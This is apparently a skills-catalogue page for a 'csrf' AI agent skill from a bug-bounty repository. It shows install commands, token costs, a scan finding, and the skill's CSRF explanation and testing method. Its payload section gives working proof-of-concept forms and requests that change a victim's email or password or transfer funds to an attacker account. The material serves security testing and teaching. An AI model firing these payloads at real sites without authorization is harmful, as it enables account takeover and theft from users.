Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SecurityTalent/bugskill-ai --skill csrfgit clone --depth 1 https://github.com/SecurityTalent/bugskill-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/csrf)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/csrf"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/csrf/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/csrf"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/csrf.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00103 | $0.01877 |
| Opus 5.5 | $0.00041 | $0.00751 |
| Sonnet 5.5 | $0.00021 | $0.00375 |
| Haiku 4.5 | $0.00010 | $0.00188 |
Grade C, and why
csrf scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Hidden instructionshighPrompt injection
Directives inside HTML comments, invisible characters or bidirectional overrides are read by the model and not by the person reviewing the file.
<!-- GET-based CSRF (auto-loads on page visit) --> This is a copy
100% identical to csrf — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 137 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cross-Site Request Forgery (CSRF)
What Is Broken and Why
CSRF exploits the browser's automatic inclusion of credentials (cookies, HTTP Basic auth) with every request to a given origin. An attacker-controlled page on a different origin can cause the victim's browser to send authenticated requests to the target application. Since the browser automatically attaches the session cookie, the server cannot distinguish the forged request from a legitimate one — unless it validates a secret token that only the legitimate page would know. Absent CSRF tokens, SameSite=Strict/Lax cookie attributes, or origin validation, any state-changing operation is potentially exploitable.
Key Signals
- State-changing requests (account settings, password change, fund transfer, email change) without a CSRF token
- CSRF token present but predictable, static, or not validated server-side
- Cookie lacks
SameSite=StrictorSameSite=Laxattribute Content-Type: application/jsonendpoints that also accepttext/plain(allows form-based CSRF)- API endpoints not verifying
OriginorRefererheaders - WebSocket handshakes without origin validation
Methodology
- Identify all state-changing requests (POST, PUT, PATCH, DELETE) in the application.
- Check for CSRF token in request parameters or headers (
X-CSRF-Token,_token,csrf_token). - If token is present: test whether it is validated (remove it, use an invalid value, reuse an old token, use another user's token).
- If no token: confirm the action is exploitable by crafting a PoC HTML page.
- Check
SameSiteattribute of session cookie;Laxprovides partial protection (GET only, top-level nav). - Test JSON endpoints: try submitting the same payload as
text/plainorapplication/x-www-form-urlencoded. - Test whether
Refererheader is validated and if it can be stripped or spoofed. - Use Burp's "Generate CSRF PoC" feature (right-click on request in Proxy history).
Payloads & Tools
<!-- GET-based CSRF (auto-loads on page visit) -->
<img src="TARGET/action?param=value" style="display:none">
<link rel="stylesheet" href="TARGET/action?param=value">
<!-- POST-based CSRF (auto-submitting form) -->
<html>
<body onload="document.forms[0].submit()">
<form action="TARGET/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]">
</form>
</body>
</html>
<!-- POST-based with multiple fields -->
<form action="TARGET/transfer" method="POST" id="csrfForm">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="destination" value="ATTACKER-ACCOUNT">
<input type="hidden" name="currency" value="USD">
</form>
<script>document.getElementById('csrfForm').submit();</script>
<!-- JSON CSRF via text/plain Content-Type -->
<form action="TARGET/api/update" method="POST" enctype="text/plain">
<input name='{"email":"[email protected]","x":"' value='"}'>
</form>
<!-- Results in body: {"email":"[email protected]","x":"="} -->
<!-- CSRF token bypass — test without token -->
POST /change-password HTTP/1.1
Host: TARGET
Cookie: session=TOKEN
new_password=attacker123
<!-- CSRF token bypass — use invalid token -->
POST /change-password HTTP/1.1
csrf_token=AAAAAAAAAAAAAAAA
<!-- CSRF via XHR (requires CORS misconfiguration) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'TARGET/change-email', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('[email protected]');
</script>
<!-- Burp Suite — Generate CSRF PoC -->
<!-- Right-click on request in Proxy -> Engagement tools -> Generate CSRF PoC -->
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 20d ago First seen · 137 lines · 103 tokens per session scan C 69b78310091a
csrf is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 103 tokens to every session and 1,877 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it C with 1 finding (hidden instructions). It is 100% identical to csrf, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
user-research-cookiy
End-to-end user research assistant — qualitative and quantitative. Use this skill whenever the user mentions user research, user interviews, discussion guides, interview guides, research plans, qualitative research, quantitative research, user surveys, survey design, usability studies, participant recruitment…
email-marketing-bible
Email marketing operating manual for AI agents, with hard send-safety gates. Use when someone plans, writes, designs, audits or sends an email campaign, newsletter, welcome series, abandoned-cart, post-purchase or win-back flow; builds a list or segment; drives Klaviyo, Mailchimp, Brevo, Kit or any ESP through MCP, an…
globalpercent
GlobalPercent — build a global-macro-probability panel for an investment research system. Merges public probability data from prediction markets (Polymarket + Kalshi), classifies every market into macro modules (monetary policy / macro economy / AI / etc.), and shows the whole market's expected-probability state at a…
ui-ux-design-pro
Senior-level UI/UX design expert for building data-driven, premium production interfaces. Use when you need to: 1. Design complex applications (dashboards, SaaS, AI tools) from scratch 2. Generate comprehensive design systems (tokens, palettes, typography) 3. Audit existing UI for quality, accessibility, and "craft"…
playwright-best-practices
Use when writing Playwright tests, fixing flaky tests, debugging failures, implementing Page Object Model, configuring CI/CD, optimizing performance, mocking APIs, handling authentication or OAuth, testing accessibility (axe-core), file uploads/downloads, date/time mocking, WebSockets, geolocation, permissions…
open-map-stack
Use textual agent instructions for GIS and geospatial work: source discovery and provenance, vector/raster/point-cloud pipelines, CRS and metric analysis, spatial SQL, routing and isochrones, QGIS projects, tile generation, and web maps. Use advanced tools and formats such as OSM, Overture, STAC, Sentinel/Landsat…